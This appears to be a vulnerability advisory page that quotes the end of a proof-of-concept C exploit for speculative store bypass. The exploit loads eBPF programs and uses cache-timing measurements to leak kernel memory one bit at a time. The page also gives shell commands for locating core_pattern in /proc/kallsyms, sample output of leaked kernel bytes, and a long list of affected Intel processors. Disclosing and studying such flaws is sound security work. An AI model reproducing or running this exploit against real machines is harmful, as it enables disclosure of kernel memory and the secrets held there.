void trigger_proc(int sockfd) {
if (write(sockfd, "X", 1) != 1)
err(1, "write to proc socket failed");
}
int input_map, leak_map;
int sockfds[16];
int leak_bit(unsigned long addr, int bit) {
array_set_dw(input_map, 0, addr);
int count_0 = 0, count_1 = 0;
while (count_0 + count_1 < 100) {
array_time_flush_loc(leak_map, 0, 2048+0x1000);
trigger_proc(sockfds[bit+8]);
unsigned int t1 = array_time_flush_loc(leak_map, 0, 2048+0x1000);
array_time_flush_loc(leak_map, 0, 2048);
trigger_proc(sockfds[bit+0]);
unsigned int t0 = array_time_flush_loc(leak_map, 0, 2048);
//printf("%u %u\n", t0, t1);
if (t0 < 50)
count_0++;
if (t1 < 50)
count_1++;
}
printf("%d vs %d\n", count_0, count_1);
return (count_0 > count_1) ? 0 : 1;
}
int leak_byte(unsigned long addr) {
int byte = 0;
for (int bit=0; bit<8; bit++) {
byte |= leak_bit(addr, bit)<<bit;
}
return byte;
}
int main(int argc, char **argv) {
setbuf(stdout, NULL);
input_map = array_create(8, 1);
leak_map = array_create(0x3000, 1);
if (argc != 3)
errx(1, "invocation (expects addr and length)");
#define BPF_REG_CONFUSED_SLOT BPF_REG_6
#define BPF_REG_SLOW_SLOT BPF_REG_7
#define BPF_REG_CONFUSED_SLOT_ALIAS BPF_REG_8
#define BPF_REG_LEAK_ARRAY BPF_REG_9
#define BPF_REG_CONFUSED BPF_REG_1
#define BPF_REG_SECRET_VALUE BPF_REG_2
#define BPF_REG_DUMMY_SLOT BPF_REG_3
for (int i=0; i<16; i++) {
bool dummy_ff = (i >= 8);
int selected_bit = i & 7;
struct bpf_insn insns[] = {
/* setup: write 0x00 or 0xff to -216 to get a big stack
allocation and to prepare dummy */
BPF_ST_MEM(BPF_B, BPF_REG_FP, -216, dummy_ff ? 0x00 : 0xff),
/* setup: compute stack slot pointers to :
* - type-confused stack slot (at -72)
* - pointer to type-confused stack slot (at -144)
*/
BPF_MOV64_REG(BPF_REG_CONFUSED_SLOT, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_CONFUSED_SLOT, -72),
BPF_MOV64_REG(BPF_REG_SLOW_SLOT, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_SLOW_SLOT, -144),
//BPF_MOV64_REG(BPF_REG_0, BPF_REG_FP),
//BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, -216),
/* write to dummy slot (to make a big stack and to permit later read) */
//BPF_ST_MEM(BPF_DW, BPF_REG_0, 0, 0),
/* setup: store victim memory pointer in BPF_REG_CONFUSED_SLOT */
BPF_LD_MAP_FD(BPF_REG_ARG1, input_map),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_0, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT, BPF_REG_0, 0),
/* setup: spill pointer to type-confused stack slot */
BPF_STX_MEM(BPF_DW, BPF_REG_SLOW_SLOT, BPF_REG_CONFUSED_SLOT, 0),
/* setup: load pointer to leak area into register */
BPF_LD_MAP_FD(BPF_REG_ARG1, leak_map),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4),
BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 2048), /* leak_map+2048 */
BPF_MOV64_REG(BPF_REG_LEAK_ARRAY, BPF_REG_0),
/* CHEATED: fence and flush */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_SLOW_SLOT),
BPF_EMIT_CALL(4/*clflush_mfence*/),
BPF_MOV64_REG(BPF_REG_DUMMY_SLOT, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_DUMMY_SLOT, -216),
/* START CRITICAL PATH */
BPF_LDX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT_ALIAS,
BPF_REG_SLOW_SLOT, 0), /* high-latency read of slot address */
BPF_STX_MEM(BPF_DW, BPF_REG_CONFUSED_SLOT_ALIAS,
BPF_REG_DUMMY_SLOT, 0), /* bypassed store via high-latency address */
BPF_LDX_MEM(BPF_DW, BPF_REG_CONFUSED, BPF_REG_CONFUSED_SLOT, 0),
BPF_LDX_MEM(BPF_B, BPF_REG_SECRET_VALUE, BPF_REG_CONFUSED, 0),
BPF_ALU64_IMM(BPF_AND, BPF_REG_SECRET_VALUE, 1<<selected_bit),
/* 0 or 1 */
BPF_ALU64_IMM(BPF_LSH, BPF_REG_SECRET_VALUE, 12-selected_bit),
/* 0 or 0x1000 */
BPF_ALU64_REG(BPF_ADD, BPF_REG_LEAK_ARRAY, BPF_REG_SECRET_VALUE),
BPF_LDX_MEM(BPF_B, BPF_REG_0, BPF_REG_LEAK_ARRAY, 0),
/* END CRITICAL PATH */
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
sockfds[i] = create_filtered_socket_fd(insns, ARRSIZE(insns));
puts("BPF PROG LOADED SUCCESSFULLY");
}
/*
puts("testing flushed...\n");
for (int i=-1; i<10; i++) {
unsigned int res = array_time_flush_loc(leak_map, 0, 2048);
if (i >= 0)
printf(" %u\n", res);
}
*/
unsigned long base_addr = strtoull(argv[1], NULL, 16);
for (int i=0; i<atoi(argv[2]); i++) {
unsigned long addr = base_addr + i;
unsigned char leaked = leak_byte(addr);
printf("%016lx: 0x%02hhx ('%c')\n", addr, leaked, leaked);
}
return 0;
}
*/
----------------------- END -----------------------
PoC usage:
$ sudo grep core_pattern /proc/kallsyms
ffffffff9b2954e0 D core_pattern
$ gcc -o bpf_store_skipper_assisted bpf_store_skipper_assisted.c
$ time ./bpf_store_skipper_assisted ffffffff9b2954e0 5
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
BPF PROG LOADED SUCCESSFULLY
4 vs 96
1 vs 99
100 vs 0
100 vs 0
100 vs 0
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e0: 0x63 ('c')
2 vs 98
1 vs 99
1 vs 99
1 vs 99
100 vs 0
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e1: 0x6f ('o')
100 vs 0
3 vs 97
100 vs 0
100 vs 0
1 vs 99
2 vs 98
0 vs 100
100 vs 0
ffffffff9b2954e2: 0x72 ('r')
2 vs 98
100 vs 0
0 vs 100
100 vs 0
100 vs 0
0 vs 100
0 vs 100
100 vs 0
ffffffff9b2954e3: 0x65 ('e')
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
100 vs 0
ffffffff9b2954e4: 0x00 ('')
real 0m31.591s
user 0m2.547s
sys 0m27.429s
*/
Products Mentioned
Configuraton 0 Intel>>Atom_c >> Version c2308
Intel>>Atom_c >> Version c3308
Intel>>Atom_c >> Version c3338
Intel>>Atom_c >> Version c3508
Intel>>Atom_c >> Version c3538
Intel>>Atom_c >> Version c3558
Intel>>Atom_c >> Version c3708
Intel>>Atom_c >> Version c3750
Intel>>Atom_c >> Version c3758
Intel>>Atom_c >> Version c3808
Intel>>Atom_c >> Version c3830
Intel>>Atom_c >> Version c3850
Intel>>Atom_c >> Version c3858
Intel>>Atom_c >> Version c3950
Intel>>Atom_c >> Version c3955
Intel>>Atom_c >> Version c3958
Intel>>Atom_e >> Version e3805
Intel>>Atom_e >> Version e3815
Intel>>Atom_e >> Version e3825
Intel>>Atom_e >> Version e3826
Intel>>Atom_e >> Version e3827
Intel>>Atom_e >> Version e3845
Intel>>Atom_x5-e3930 >> Version -
Intel>>Atom_x5-e3940 >> Version -
Intel>>Atom_x7-e3950 >> Version -
Intel>>Atom_z >> Version z2420
Intel>>Atom_z >> Version z2460
Intel>>Atom_z >> Version z2480
Intel>>Atom_z >> Version z2520
Intel>>Atom_z >> Version z2560
Intel>>Atom_z >> Version z2580
Intel>>Atom_z >> Version z2760
Intel>>Atom_z >> Version z3460
Intel>>Atom_z >> Version z3480
Intel>>Atom_z >> Version z3530
Intel>>Atom_z >> Version z3560
Intel>>Atom_z >> Version z3570
Intel>>Atom_z >> Version z3580
Intel>>Atom_z >> Version z3590
Intel>>Atom_z >> Version z3735d
Intel>>Atom_z >> Version z3735e
Intel>>Atom_z >> Version z3735f
Intel>>Atom_z >> Version z3735g
Intel>>Atom_z >> Version z3736f
Intel>>Atom_z >> Version z3736g
Intel>>Atom_z >> Version z3740
Intel>>Atom_z >> Version z3740d
Intel>>Atom_z >> Version z3745
Intel>>Atom_z >> Version z3745d
Intel>>Atom_z >> Version z3770
Intel>>Atom_z >> Version z3770d
Intel>>Atom_z >> Version z3775
Intel>>Atom_z >> Version z3775d
Intel>>Atom_z >> Version z3785
Intel>>Atom_z >> Version z3795
Intel>>Celeron_j >> Version j3455
Intel>>Celeron_j >> Version j4005
Intel>>Celeron_j >> Version j4105
Intel>>Celeron_n >> Version n3450
Intel>>Core_i3 >> Version 32nm
Intel>>Core_i3 >> Version 45nm
Intel>>Core_i5 >> Version 32nm
Intel>>Core_i5 >> Version 45nm
Intel>>Core_i7 >> Version 32nm
Intel>>Core_i7 >> Version 45nm
Intel>>Core_m >> Version 32nm
Intel>>Core_m >> Version 45nm
Intel>>Pentium >> Version n4000
Intel>>Pentium >> Version n4100
Intel>>Pentium >> Version n4200
Intel>>Pentium_j >> Version j4205
Intel>>Pentium_silver >> Version j5005
Intel>>Pentium_silver >> Version n5000
Intel>>Xeon_e-1105c >> Version -
Intel>>Xeon_e3 >> Version 125c_
Intel>>Xeon_e3 >> Version 1220_
Intel>>Xeon_e3 >> Version 1275_
Intel>>Xeon_e3 >> Version 1505m_v6
Intel>>Xeon_e3 >> Version 1515m_v5
Intel>>Xeon_e3 >> Version 1535m_v5
Intel>>Xeon_e3 >> Version 1535m_v6
Intel>>Xeon_e3 >> Version 1545m_v5
Intel>>Xeon_e3 >> Version 1558l_v5
Intel>>Xeon_e3 >> Version 1565l_v5
Intel>>Xeon_e3 >> Version 1575m_v5
Intel>>Xeon_e3 >> Version 1578l_v5
Intel>>Xeon_e3 >> Version 1585_v5
Intel>>Xeon_e3 >> Version 1585l_v5
Intel>>Xeon_e3 >> Version 3600
Intel>>Xeon_e3 >> Version 5600
Intel>>Xeon_e3 >> Version 7500
Intel>>Xeon_e3 >> Version e5502
Intel>>Xeon_e3 >> Version e5503
Intel>>Xeon_e3 >> Version e5504
Intel>>Xeon_e3 >> Version e5506
Intel>>Xeon_e3 >> Version e5507
Intel>>Xeon_e3 >> Version e5520
Intel>>Xeon_e3 >> Version e5530
Intel>>Xeon_e3 >> Version e5540
Intel>>Xeon_e3 >> Version e6510
Intel>>Xeon_e3 >> Version e6540
Intel>>Xeon_e3 >> Version e6550
Intel>>Xeon_e3 >> Version l3403
Intel>>Xeon_e3 >> Version l3406
Intel>>Xeon_e3 >> Version l3426
Intel>>Xeon_e3 >> Version l5506
Intel>>Xeon_e3 >> Version l5508_
Intel>>Xeon_e3 >> Version l5518_
Intel>>Xeon_e3 >> Version l5520
Intel>>Xeon_e3 >> Version l5530
Intel>>Xeon_e3 >> Version w5580
Intel>>Xeon_e3 >> Version w5590
Intel>>Xeon_e3 >> Version x3430
Intel>>Xeon_e3 >> Version x3440
Intel>>Xeon_e3 >> Version x3450
Intel>>Xeon_e3 >> Version x3460
Intel>>Xeon_e3 >> Version x3470
Intel>>Xeon_e3 >> Version x3480
Intel>>Xeon_e3 >> Version x5550
Intel>>Xeon_e3 >> Version x5560
Intel>>Xeon_e3 >> Version x5570
Intel>>Xeon_e3_1105c_v2 >> Version -
Intel>>Xeon_e3_1125c_v2 >> Version -
Intel>>Xeon_e3_1220_v2 >> Version -
Intel>>Xeon_e3_1220_v3 >> Version -
Intel>>Xeon_e3_1220_v5 >> Version -
Intel>>Xeon_e3_1220_v6 >> Version -
Intel>>Xeon_e3_12201 >> Version -
Intel>>Xeon_e3_12201_v2 >> Version -
Intel>>Xeon_e3_1220l_v3 >> Version -
Intel>>Xeon_e3_1225 >> Version -
Intel>>Xeon_e3_1225_v2 >> Version -
Intel>>Xeon_e3_1225_v3 >> Version -
Intel>>Xeon_e3_1225_v5 >> Version -
Intel>>Xeon_e3_1225_v6 >> Version -
Intel>>Xeon_e3_1226_v3 >> Version -
Intel>>Xeon_e3_1230 >> Version -
Intel>>Xeon_e3_1230_v2 >> Version -
Intel>>Xeon_e3_1230_v3 >> Version -
Intel>>Xeon_e3_1230_v5 >> Version -
Intel>>Xeon_e3_1230_v6 >> Version -
Intel>>Xeon_e3_1230l_v3 >> Version -
Intel>>Xeon_e3_1231_v3 >> Version -
Intel>>Xeon_e3_1235 >> Version -
Intel>>Xeon_e3_1235l_v5 >> Version -
Intel>>Xeon_e3_1240 >> Version -
Intel>>Xeon_e3_1240_v2 >> Version -
Intel>>Xeon_e3_1240_v3 >> Version -
Intel>>Xeon_e3_1240_v5 >> Version -
Intel>>Xeon_e3_1240_v6 >> Version -
Intel>>Xeon_e3_1240l_v3 >> Version -
Intel>>Xeon_e3_1240l_v5 >> Version -
Intel>>Xeon_e3_1241_v3 >> Version -
Intel>>Xeon_e3_1245 >> Version -
Intel>>Xeon_e3_1245_v2 >> Version -
Intel>>Xeon_e3_1245_v3 >> Version -
Intel>>Xeon_e3_1245_v5 >> Version -
Intel>>Xeon_e3_1245_v6 >> Version -
Intel>>Xeon_e3_1246_v3 >> Version -
Intel>>Xeon_e3_1258l_v4 >> Version -
Intel>>Xeon_e3_1260l >> Version -
Intel>>Xeon_e3_1260l_v5 >> Version -
Intel>>Xeon_e3_1265l_v2 >> Version -
Intel>>Xeon_e3_1265l_v3 >> Version -
Intel>>Xeon_e3_1265l_v4 >> Version -
Intel>>Xeon_e3_1268l_v3 >> Version -
Intel>>Xeon_e3_1268l_v5 >> Version -
Intel>>Xeon_e3_1270 >> Version -
Intel>>Xeon_e3_1270_v2 >> Version -
Intel>>Xeon_e3_1270_v3 >> Version -
Intel>>Xeon_e3_1270_v5 >> Version -
Intel>>Xeon_e3_1270_v6 >> Version -
Intel>>Xeon_e3_1271_v3 >> Version -
Intel>>Xeon_e3_1275_v2 >> Version -
Intel>>Xeon_e3_1275_v3 >> Version -
Intel>>Xeon_e3_1275_v5 >> Version -
Intel>>Xeon_e3_1275_v6 >> Version -
Intel>>Xeon_e3_1275l_v3 >> Version -
Intel>>Xeon_e3_1276_v3 >> Version -
Intel>>Xeon_e3_1278l_v4 >> Version -
Intel>>Xeon_e3_1280 >> Version -
Intel>>Xeon_e3_1280_v2 >> Version -
Intel>>Xeon_e3_1280_v3 >> Version -
Intel>>Xeon_e3_1280_v5 >> Version -
Intel>>Xeon_e3_1280_v6 >> Version -
Intel>>Xeon_e3_1281_v3 >> Version -
Intel>>Xeon_e3_1285_v3 >> Version -
Intel>>Xeon_e3_1285_v4 >> Version -
Intel>>Xeon_e3_1285_v6 >> Version -
Intel>>Xeon_e3_1285l_v3 >> Version -
Intel>>Xeon_e3_1285l_v4 >> Version -
Intel>>Xeon_e3_1286_v3 >> Version -
Intel>>Xeon_e3_1286l_v3 >> Version -
Intel>>Xeon_e3_1290 >> Version -
Intel>>Xeon_e3_1290_v2 >> Version -
Intel>>Xeon_e3_1501l_v6 >> Version -
Intel>>Xeon_e3_1501m_v6 >> Version -
Intel>>Xeon_e3_1505l_v5 >> Version -
Intel>>Xeon_e3_1505l_v6 >> Version -
Intel>>Xeon_e3_1505m_v5 >> Version -
Intel>>Xeon_e5 >> Version 2650l_v4
Intel>>Xeon_e5 >> Version 2658
Intel>>Xeon_e5 >> Version 2658_v2
Intel>>Xeon_e5 >> Version 2658_v3
Intel>>Xeon_e5 >> Version 2658_v4
Intel>>Xeon_e5 >> Version 2658a_v3
Intel>>Xeon_e5 >> Version 2660
Intel>>Xeon_e5 >> Version 2660_v2
Intel>>Xeon_e5 >> Version 2660_v3
Intel>>Xeon_e5 >> Version 2660_v4
Intel>>Xeon_e5 >> Version 2665
Intel>>Xeon_e5 >> Version 2667
Intel>>Xeon_e5 >> Version 2667_v2
Intel>>Xeon_e5 >> Version 2667_v3
Intel>>Xeon_e5 >> Version 2667_v4
Intel>>Xeon_e5 >> Version 2670
Intel>>Xeon_e5 >> Version 2670_v2
Intel>>Xeon_e5 >> Version 2670_v3
Intel>>Xeon_e5 >> Version 2680
Intel>>Xeon_e5 >> Version 2680_v2
Intel>>Xeon_e5 >> Version 2680_v3
Intel>>Xeon_e5 >> Version 2680_v4
Intel>>Xeon_e5 >> Version 2683_v3
Intel>>Xeon_e5 >> Version 2683_v4
Intel>>Xeon_e5 >> Version 2687w
Intel>>Xeon_e5 >> Version 2687w_v2
Intel>>Xeon_e5 >> Version 2687w_v3
Intel>>Xeon_e5 >> Version 2687w_v4
Intel>>Xeon_e5 >> Version 2690
Intel>>Xeon_e5 >> Version 2690_v2
Intel>>Xeon_e5 >> Version 2690_v3
Intel>>Xeon_e5 >> Version 2690_v4
Intel>>Xeon_e5 >> Version 2695_v2
Intel>>Xeon_e5 >> Version 2695_v3
Intel>>Xeon_e5 >> Version 2695_v4
Intel>>Xeon_e5 >> Version 2697_v2
Intel>>Xeon_e5 >> Version 2697_v3
Intel>>Xeon_e5 >> Version 2697_v4
Intel>>Xeon_e5 >> Version 2697a_v4
Intel>>Xeon_e5 >> Version 2698_v3
Intel>>Xeon_e5 >> Version 2698_v4
Intel>>Xeon_e5 >> Version 2699_v3
Intel>>Xeon_e5 >> Version 2699_v4
Intel>>Xeon_e5 >> Version 2699a_v4
Intel>>Xeon_e5 >> Version 2699r_v4
Intel>>Xeon_e5 >> Version 4603
Intel>>Xeon_e5 >> Version 4603_v2
Intel>>Xeon_e5 >> Version 4607
Intel>>Xeon_e5 >> Version 4607_v2
Intel>>Xeon_e5 >> Version 4610
Intel>>Xeon_e5 >> Version 4610_v2
Intel>>Xeon_e5 >> Version 4610_v3
Intel>>Xeon_e5 >> Version 4610_v4
Intel>>Xeon_e5 >> Version 4617
Intel>>Xeon_e5 >> Version 4620
Intel>>Xeon_e5 >> Version 4620_v2
Intel>>Xeon_e5 >> Version 4620_v3
Intel>>Xeon_e5 >> Version 4620_v4
Intel>>Xeon_e5 >> Version 4624l_v2
Intel>>Xeon_e5 >> Version 4627_v2
Intel>>Xeon_e5 >> Version 4627_v3
Intel>>Xeon_e5 >> Version 4627_v4
Intel>>Xeon_e5 >> Version 4628l_v4
Intel>>Xeon_e5 >> Version 4640
Intel>>Xeon_e5 >> Version 4640_v2
Intel>>Xeon_e5 >> Version 4640_v3
Intel>>Xeon_e5 >> Version 4640_v4
Intel>>Xeon_e5 >> Version 4648_v3
Intel>>Xeon_e5 >> Version 4650
Intel>>Xeon_e5 >> Version 4650_v2
Intel>>Xeon_e5 >> Version 4650_v3
Intel>>Xeon_e5 >> Version 4650_v4
Intel>>Xeon_e5 >> Version 4650l
Intel>>Xeon_e5 >> Version 4655_v3
Intel>>Xeon_e5 >> Version 4655_v4
Intel>>Xeon_e5 >> Version 4657l_v2
Intel>>Xeon_e5 >> Version 4660_v3
Intel>>Xeon_e5 >> Version 4660_v4
Intel>>Xeon_e5 >> Version 4667_v3
Intel>>Xeon_e5 >> Version 4667_v4
Intel>>Xeon_e5 >> Version 4669_v3
Intel>>Xeon_e5 >> Version 4669_v4
Intel>>Xeon_e5_1428l >> Version -
Intel>>Xeon_e5_1428l_v2 >> Version -
Intel>>Xeon_e5_1428l_v3 >> Version -
Intel>>Xeon_e5_1620 >> Version -
Intel>>Xeon_e5_1620_v2 >> Version -
Intel>>Xeon_e5_1620_v3 >> Version -
Intel>>Xeon_e5_1620_v4 >> Version -
Intel>>Xeon_e5_1630_v3 >> Version -
Intel>>Xeon_e5_1630_v4 >> Version -
Intel>>Xeon_e5_1650 >> Version -
Intel>>Xeon_e5_1650_v2 >> Version -
Intel>>Xeon_e5_1650_v3 >> Version -
Intel>>Xeon_e5_1650_v4 >> Version -
Intel>>Xeon_e5_1660 >> Version -
Intel>>Xeon_e5_1660_v2 >> Version -
Intel>>Xeon_e5_1660_v3 >> Version -
Intel>>Xeon_e5_1660_v4 >> Version -
Intel>>Xeon_e5_1680_v3 >> Version -
Intel>>Xeon_e5_1680_v4 >> Version -
Intel>>Xeon_e5_2403 >> Version -
Intel>>Xeon_e5_2403_v2 >> Version -
Intel>>Xeon_e5_2407 >> Version -
Intel>>Xeon_e5_2407_v2 >> Version -
Intel>>Xeon_e5_2408l_v3 >> Version -
Intel>>Xeon_e5_2418l >> Version -
Intel>>Xeon_e5_2418l_v2 >> Version -
Intel>>Xeon_e5_2418l_v3 >> Version -
Intel>>Xeon_e5_2420 >> Version -
Intel>>Xeon_e5_2420_v2 >> Version -
Intel>>Xeon_e5_2428l >> Version -
Intel>>Xeon_e5_2428l_v2 >> Version -
Intel>>Xeon_e5_2428l_v3 >> Version -
Intel>>Xeon_e5_2430 >> Version -
Intel>>Xeon_e5_2430_v2 >> Version -
Intel>>Xeon_e5_2430l >> Version -
Intel>>Xeon_e5_2430l_v2 >> Version -
Intel>>Xeon_e5_2438l_v3 >> Version -
Intel>>Xeon_e5_2440 >> Version -
Intel>>Xeon_e5_2440_v2 >> Version -
Intel>>Xeon_e5_2448l >> Version -
Intel>>Xeon_e5_2448l_v2 >> Version -
Intel>>Xeon_e5_2450 >> Version -
Intel>>Xeon_e5_2450_v2 >> Version -
Intel>>Xeon_e5_2450l >> Version -
Intel>>Xeon_e5_2450l_v2 >> Version -
Intel>>Xeon_e5_2470 >> Version -
Intel>>Xeon_e5_2470_v2 >> Version -
Intel>>Xeon_e5_2603 >> Version -
Intel>>Xeon_e5_2603_v2 >> Version -
Intel>>Xeon_e5_2603_v3 >> Version -
Intel>>Xeon_e5_2603_v4 >> Version -
Intel>>Xeon_e5_2608l_v3 >> Version -
Intel>>Xeon_e5_2608l_v4 >> Version -
Intel>>Xeon_e5_2609 >> Version -
Intel>>Xeon_e5_2609_v2 >> Version -
Intel>>Xeon_e5_2609_v3 >> Version -
Intel>>Xeon_e5_2609_v4 >> Version -
Intel>>Xeon_e5_2618l_v2 >> Version -
Intel>>Xeon_e5_2618l_v3 >> Version -
Intel>>Xeon_e5_2618l_v4 >> Version -
Intel>>Xeon_e5_2620 >> Version -
Intel>>Xeon_e5_2620_v2 >> Version -
Intel>>Xeon_e5_2620_v3 >> Version -
Intel>>Xeon_e5_2620_v4 >> Version -
Intel>>Xeon_e5_2623_v3 >> Version -
Intel>>Xeon_e5_2623_v4 >> Version -
Intel>>Xeon_e5_2628l_v2 >> Version -
Intel>>Xeon_e5_2628l_v3 >> Version -
Intel>>Xeon_e5_2628l_v4 >> Version -
Intel>>Xeon_e5_2630 >> Version -
Intel>>Xeon_e5_2630_v2 >> Version -
Intel>>Xeon_e5_2630_v3 >> Version -
Intel>>Xeon_e5_2630_v4 >> Version -
Intel>>Xeon_e5_2630l >> Version -
Intel>>Xeon_e5_2630l_v2 >> Version -
Intel>>Xeon_e5_2630l_v3 >> Version -
Intel>>Xeon_e5_2630l_v4 >> Version -
Intel>>Xeon_e5_2637 >> Version -
Intel>>Xeon_e5_2637_v2 >> Version -
Intel>>Xeon_e5_2637_v3 >> Version -
Intel>>Xeon_e5_2637_v4 >> Version -
Intel>>Xeon_e5_2640 >> Version -
Intel>>Xeon_e5_2640_v2 >> Version -
Intel>>Xeon_e5_2640_v3 >> Version -
Intel>>Xeon_e5_2640_v4 >> Version -
Intel>>Xeon_e5_2643 >> Version -
Intel>>Xeon_e5_2643_v2 >> Version -
Intel>>Xeon_e5_2643_v3 >> Version -
Intel>>Xeon_e5_2643_v4 >> Version -
Intel>>Xeon_e5_2648l >> Version -
Intel>>Xeon_e5_2648l_v2 >> Version -
Intel>>Xeon_e5_2648l_v3 >> Version -
Intel>>Xeon_e5_2648l_v4 >> Version -
Intel>>Xeon_e5_2650 >> Version -
Intel>>Xeon_e5_2650_v2 >> Version -
Intel>>Xeon_e5_2650_v3 >> Version -
Intel>>Xeon_e5_2650_v4 >> Version -
Intel>>Xeon_e5_2650l >> Version -
Intel>>Xeon_e5_2650l_v2 >> Version -
Intel>>Xeon_e5_2650l_v3 >> Version -
Intel>>Xeon_e7 >> Version 2803
Intel>>Xeon_e7 >> Version 2820
Intel>>Xeon_e7 >> Version 2830
Intel>>Xeon_e7 >> Version 2850
Intel>>Xeon_e7 >> Version 2850_v2
Intel>>Xeon_e7 >> Version 2860
Intel>>Xeon_e7 >> Version 2870
Intel>>Xeon_e7 >> Version 2870_v2
Intel>>Xeon_e7 >> Version 2880_v2
Intel>>Xeon_e7 >> Version 2890_v2
Intel>>Xeon_e7 >> Version 4807
Intel>>Xeon_e7 >> Version 4809_v2
Intel>>Xeon_e7 >> Version 4809_v3
Intel>>Xeon_e7 >> Version 4809_v4
Intel>>Xeon_e7 >> Version 4820
Intel>>Xeon_e7 >> Version 4820_v2
Intel>>Xeon_e7 >> Version 4820_v3
Intel>>Xeon_e7 >> Version 4820_v4
Intel>>Xeon_e7 >> Version 4830
Intel>>Xeon_e7 >> Version 4830_v2
Intel>>Xeon_e7 >> Version 4830_v3
Intel>>Xeon_e7 >> Version 4830_v4
Intel>>Xeon_e7 >> Version 4850
Intel>>Xeon_e7 >> Version 4850_v2
Intel>>Xeon_e7 >> Version 4850_v3
Intel>>Xeon_e7 >> Version 4850_v4
Intel>>Xeon_e7 >> Version 4860
Intel>>Xeon_e7 >> Version 4860_v2
Intel>>Xeon_e7 >> Version 4870
Intel>>Xeon_e7 >> Version 4870_v2
Intel>>Xeon_e7 >> Version 4880_v2
Intel>>Xeon_e7 >> Version 4890_v2
Intel>>Xeon_e7 >> Version 8830
Intel>>Xeon_e7 >> Version 8837
Intel>>Xeon_e7 >> Version 8850
Intel>>Xeon_e7 >> Version 8850_v2
Intel>>Xeon_e7 >> Version 8857_v2
Intel>>Xeon_e7 >> Version 8860
Intel>>Xeon_e7 >> Version 8860_v3
Intel>>Xeon_e7 >> Version 8860_v4
Intel>>Xeon_e7 >> Version 8867_v3
Intel>>Xeon_e7 >> Version 8867_v4
Intel>>Xeon_e7 >> Version 8867l
Intel>>Xeon_e7 >> Version 8870
Intel>>Xeon_e7 >> Version 8870_v2
Intel>>Xeon_e7 >> Version 8870_v3
Intel>>Xeon_e7 >> Version 8870_v4
Intel>>Xeon_e7 >> Version 8880_v2
Intel>>Xeon_e7 >> Version 8880_v3
Intel>>Xeon_e7 >> Version 8880_v4
Intel>>Xeon_e7 >> Version 8880l_v2
Intel>>Xeon_e7 >> Version 8880l_v3
Intel>>Xeon_e7 >> Version 8890_v2
Intel>>Xeon_e7 >> Version 8890_v3
Intel>>Xeon_e7 >> Version 8890_v4
Intel>>Xeon_e7 >> Version 8891_v2
Intel>>Xeon_e7 >> Version 8891_v3
Intel>>Xeon_e7 >> Version 8891_v4
Intel>>Xeon_e7 >> Version 8893_v2
Intel>>Xeon_e7 >> Version 8893_v3
Intel>>Xeon_e7 >> Version 8893_v4
Intel>>Xeon_e7 >> Version 8894_v4
Intel>>Xeon_gold >> Version 5115
Intel>>Xeon_gold >> Version 85115
Intel>>Xeon_gold >> Version 85118
Intel>>Xeon_gold >> Version 85119t
Intel>>Xeon_gold >> Version 85120
Intel>>Xeon_gold >> Version 85120t
Intel>>Xeon_gold >> Version 85122
Intel>>Xeon_gold >> Version 86126
Intel>>Xeon_gold >> Version 86126f
Intel>>Xeon_gold >> Version 86126t
Intel>>Xeon_gold >> Version 86128
Intel>>Xeon_gold >> Version 86130
Intel>>Xeon_gold >> Version 86130f
Intel>>Xeon_gold >> Version 86130t
Intel>>Xeon_gold >> Version 86132
Intel>>Xeon_gold >> Version 86134
Intel>>Xeon_gold >> Version 86134m
Intel>>Xeon_gold >> Version 86136
Intel>>Xeon_gold >> Version 86138
Intel>>Xeon_gold >> Version 86138f
Intel>>Xeon_gold >> Version 86138t
Intel>>Xeon_gold >> Version 86140
Intel>>Xeon_gold >> Version 86140m
Intel>>Xeon_gold >> Version 86142
Intel>>Xeon_gold >> Version 86142f
Intel>>Xeon_gold >> Version 86142m
Intel>>Xeon_gold >> Version 86144
Intel>>Xeon_gold >> Version 86146
Intel>>Xeon_gold >> Version 86148
Intel>>Xeon_gold >> Version 86148f
Intel>>Xeon_gold >> Version 86150
Intel>>Xeon_gold >> Version 86152
Intel>>Xeon_gold >> Version 86154
Intel>>Xeon_platinum >> Version 8153
Intel>>Xeon_platinum >> Version 8156
Intel>>Xeon_platinum >> Version 8158
Intel>>Xeon_platinum >> Version 8160
Intel>>Xeon_platinum >> Version 8160f
Intel>>Xeon_platinum >> Version 8160m
Intel>>Xeon_platinum >> Version 8160t
Intel>>Xeon_platinum >> Version 8164
Intel>>Xeon_platinum >> Version 8168
